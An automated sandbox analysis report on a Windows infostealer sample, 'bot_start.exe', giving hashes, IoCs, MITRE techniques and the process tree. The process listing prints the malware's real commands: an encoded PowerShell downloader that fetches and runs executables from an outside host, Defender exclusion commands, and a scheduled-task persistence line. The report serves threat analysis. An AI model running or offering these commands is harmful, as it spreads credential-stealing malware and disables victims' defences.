cc97b59379bc6eafe5c5c9dc66f16d4795270e01dce613652359bc852ba0665a

Analysis

max time kernel
63s
max time network
149s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
23-05-2024 03:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bot_start.exe
Size

2.5MB
MD5

62dec8c537e3aa76b294ab744b20d245
SHA1

1f4ec4852cd84d32a0d26ba0e163a373811eaebd
SHA256

cc97b59379bc6eafe5c5c9dc66f16d4795270e01dce613652359bc852ba0665a
SHA512

f47bbf3260f0124ec947b3a37ce316700481a8c4d5d984c9012df85673eb0d2c8777396e5a957cfc900ed509045e50d196558e931a84df146115e950abd8f6a7
SSDEEP

49152:SNkG6I1nPFf56dv26ot3VwBtF+kze3xqH1Hm4I6qxOli96Jyn5tzEde3Yx:S/fP9se6ot3VwBtF+kzeQHMdLcK6EtzY

Score

10^/10

execution spyware stealer

Malware Config

Signatures

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3020	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	452	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2380	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2388	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1304	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1324	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1676	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1256	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1012	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2880	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1004	1252	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	716	1252	schtasks.exe

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

5 1208 powershell.exe
7 1208 powershell.exe
9 1208 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

1208 powershell.exe
2772 powershell.exe
2312 powershell.exe
1512 powershell.exe
2780 powershell.exe
2800 powershell.exe
Executes dropped EXE 4 IoCs

Processes:

tthyperRuntimedhcpSvc.exeVC_redistx64.exewininit.exeservice.exe

pid process

2148 tthyperRuntimedhcpSvc.exe
768 VC_redistx64.exe
2744 wininit.exe
2740 service.exe
Loads dropped DLL 4 IoCs

Processes:

powershell.exe

pid process

1208 powershell.exe
1208 powershell.exe
1208 powershell.exe
1208 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

flow	pid	process
5	1208	powershell.exe
7	1208	powershell.exe
9	1208	powershell.exe

pid	process
2148	tthyperRuntimedhcpSvc.exe
768	VC_redistx64.exe
2744	wininit.exe
2740	service.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs

Processes:

bot_start.exeVC_redistx64.exeservice.exe

pid	process
2696	bot_start.exe
768	VC_redistx64.exe
768	VC_redistx64.exe
768	VC_redistx64.exe
768	VC_redistx64.exe
2740	service.exe
2740	service.exe
768	VC_redistx64.exe
2740	service.exe
768	VC_redistx64.exe
2740	service.exe
768	VC_redistx64.exe

Drops file in Program Files directory 2 IoCs

Processes:

tthyperRuntimedhcpSvc.exe

description	ioc	process
File created	C:\Program Files (x86)\Common Files\wininit.exe	tthyperRuntimedhcpSvc.exe
File created	C:\Program Files (x86)\Common Files\56085415360792	tthyperRuntimedhcpSvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 17 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1916	schtasks.exe
452	schtasks.exe
1004	schtasks.exe
1676	schtasks.exe
1256	schtasks.exe
1012	schtasks.exe
2880	schtasks.exe
1404	schtasks.exe
3020	schtasks.exe
2388	schtasks.exe
2756	schtasks.exe
2380	schtasks.exe
716	schtasks.exe
2296	schtasks.exe
1304	schtasks.exe
1724	schtasks.exe
1324	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 9 IoCs

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\py_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\py_auto_file	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.py\ = "py_auto_file"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\py_auto_file\shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\py_auto_file\	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.py	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\py_auto_file\shell\Read	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\py_auto_file\shell\Read\command	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2492 PING.EXE

pid	process
2492	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exetthyperRuntimedhcpSvc.exe

pid	process
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
1208	powershell.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe
2148	tthyperRuntimedhcpSvc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetthyperRuntimedhcpSvc.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewininit.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	2148	tthyperRuntimedhcpSvc.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2744	wininit.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe
Token: SeShutdownPrivilege	1168	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

Processes:

chrome.exe

pid	process
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

Processes:

chrome.exe

pid	process
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe
1168	chrome.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

bot_start.exeVC_redistx64.exeAcroRd32.exeservice.exe

pid process

2696 bot_start.exe
768 VC_redistx64.exe
1276 AcroRd32.exe
1276 AcroRd32.exe
2740 service.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

bot_start.exepowershell.exeVC_redistx64.execmd.exerundll32.exetthyperRuntimedhcpSvc.execmd.exechrome.exe

description	pid	process	target process
PID 2696 wrote to memory of 1208	2696	bot_start.exe	powershell.exe
PID 2696 wrote to memory of 1208	2696	bot_start.exe	powershell.exe
PID 2696 wrote to memory of 1208	2696	bot_start.exe	powershell.exe
PID 2696 wrote to memory of 1208	2696	bot_start.exe	powershell.exe
PID 1208 wrote to memory of 2148	1208	powershell.exe	tthyperRuntimedhcpSvc.exe
PID 1208 wrote to memory of 2148	1208	powershell.exe	tthyperRuntimedhcpSvc.exe
PID 1208 wrote to memory of 2148	1208	powershell.exe	tthyperRuntimedhcpSvc.exe
PID 1208 wrote to memory of 2148	1208	powershell.exe	tthyperRuntimedhcpSvc.exe
PID 1208 wrote to memory of 1040	1208	powershell.exe	rundll32.exe
PID 1208 wrote to memory of 1040	1208	powershell.exe	rundll32.exe
PID 1208 wrote to memory of 1040	1208	powershell.exe	rundll32.exe
PID 1208 wrote to memory of 1040	1208	powershell.exe	rundll32.exe
PID 1208 wrote to memory of 1040	1208	powershell.exe	rundll32.exe
PID 1208 wrote to memory of 1040	1208	powershell.exe	rundll32.exe
PID 1208 wrote to memory of 1040	1208	powershell.exe	rundll32.exe
PID 1208 wrote to memory of 768	1208	powershell.exe	VC_redistx64.exe
PID 1208 wrote to memory of 768	1208	powershell.exe	VC_redistx64.exe
PID 1208 wrote to memory of 768	1208	powershell.exe	VC_redistx64.exe
PID 1208 wrote to memory of 768	1208	powershell.exe	VC_redistx64.exe
PID 768 wrote to memory of 2396	768	VC_redistx64.exe	cmd.exe
PID 768 wrote to memory of 2396	768	VC_redistx64.exe	cmd.exe
PID 768 wrote to memory of 2396	768	VC_redistx64.exe	cmd.exe
PID 768 wrote to memory of 2396	768	VC_redistx64.exe	cmd.exe
PID 2396 wrote to memory of 1916	2396	cmd.exe	schtasks.exe
PID 2396 wrote to memory of 1916	2396	cmd.exe	schtasks.exe
PID 2396 wrote to memory of 1916	2396	cmd.exe	schtasks.exe
PID 2396 wrote to memory of 1916	2396	cmd.exe	schtasks.exe
PID 1040 wrote to memory of 1276	1040	rundll32.exe	AcroRd32.exe
PID 1040 wrote to memory of 1276	1040	rundll32.exe	AcroRd32.exe
PID 1040 wrote to memory of 1276	1040	rundll32.exe	AcroRd32.exe
PID 1040 wrote to memory of 1276	1040	rundll32.exe	AcroRd32.exe
PID 2148 wrote to memory of 1512	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 1512	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 1512	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2780	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2780	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2780	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2800	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2800	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2800	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2772	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2772	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2772	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2312	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2312	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 2312	2148	tthyperRuntimedhcpSvc.exe	powershell.exe
PID 2148 wrote to memory of 1964	2148	tthyperRuntimedhcpSvc.exe	cmd.exe
PID 2148 wrote to memory of 1964	2148	tthyperRuntimedhcpSvc.exe	cmd.exe
PID 2148 wrote to memory of 1964	2148	tthyperRuntimedhcpSvc.exe	cmd.exe
PID 1964 wrote to memory of 3036	1964	cmd.exe	chcp.com
PID 1964 wrote to memory of 3036	1964	cmd.exe	chcp.com
PID 1964 wrote to memory of 3036	1964	cmd.exe	chcp.com
PID 1964 wrote to memory of 2492	1964	cmd.exe	PING.EXE
PID 1964 wrote to memory of 2492	1964	cmd.exe	PING.EXE
PID 1964 wrote to memory of 2492	1964	cmd.exe	PING.EXE
PID 1964 wrote to memory of 2744	1964	cmd.exe	wininit.exe
PID 1964 wrote to memory of 2744	1964	cmd.exe	wininit.exe
PID 1964 wrote to memory of 2744	1964	cmd.exe	wininit.exe
PID 1168 wrote to memory of 596	1168	chrome.exe	chrome.exe
PID 1168 wrote to memory of 596	1168	chrome.exe	chrome.exe
PID 1168 wrote to memory of 596	1168	chrome.exe	chrome.exe
PID 1168 wrote to memory of 772	1168	chrome.exe	chrome.exe
PID 1168 wrote to memory of 772	1168	chrome.exe	chrome.exe
PID 1168 wrote to memory of 772	1168	chrome.exe	chrome.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\bot_start.exe
"C:\Users\Admin\AppData\Local\Temp\bot_start.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAbgB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAGQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcABlAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBrAGkAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHQAdABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAGsAbgB5ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYgBzAGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcAB6AGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAB0AGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAcwB5AHUAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAGMAbAAvAG0AYQBpAG4ALgBwAHkAJwAsACAAPAAjAHkAcgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZAByAHQAIwA+ACAALQBQAGEAdABoACAAKAAkAHAAdwBkACkALgBwAGEAdABoACAAPAAjAGUAagBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG0AYQBpAG4ALgBwAHkAJwApACkAPAAjAGUAZQBrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAC8AVgBDAF8AcgBlAGQAaQBzAHQAeAA2ADQALgBlAHgAZQAnACwAIAA8ACMAegB6AGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAGYAegAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHAAaAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQApADwAIwBuAGEAbAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAGcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbgBjAGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAB0AGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAPAAjAGUAZQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHQAYwByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAoACQAcAB3AGQAKQAuAHAAYQB0AGgAIAA8ACMAaQBpAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBhAGkAbgAuAHAAeQAnACkAPAAjAHUAdwB1ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHEAbQB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB1AHgAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQA8ACMAbABqAHEAIwA+AA=="
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1208

C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe
"C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe"
3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\spoolsv.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\My Music\csrss.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\explorer.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Common Files\wininit.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\wininit.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2312

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\X7BaSFvUpn.bat"
4⤵
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\system32\chcp.com
chcp 65001
5⤵
PID:3036

C:\Windows\system32\PING.EXE
ping -n 10 localhost
5⤵
- Runs ping.exe
PID:2492

C:\Program Files (x86)\Common Files\wininit.exe
"C:\Program Files (x86)\Common Files\wininit.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2744

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\main.py
3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1040

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\main.py"
4⤵
- Suspicious use of SetWindowsHookEx
PID:1276

C:\Users\Admin\AppData\Roaming\VC_redistx64.exe
"C:\Users\Admin\AppData\Roaming\VC_redistx64.exe"
3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:768

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C schtasks /create /tn MyApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
4⤵
- Suspicious use of WriteProcessMemory
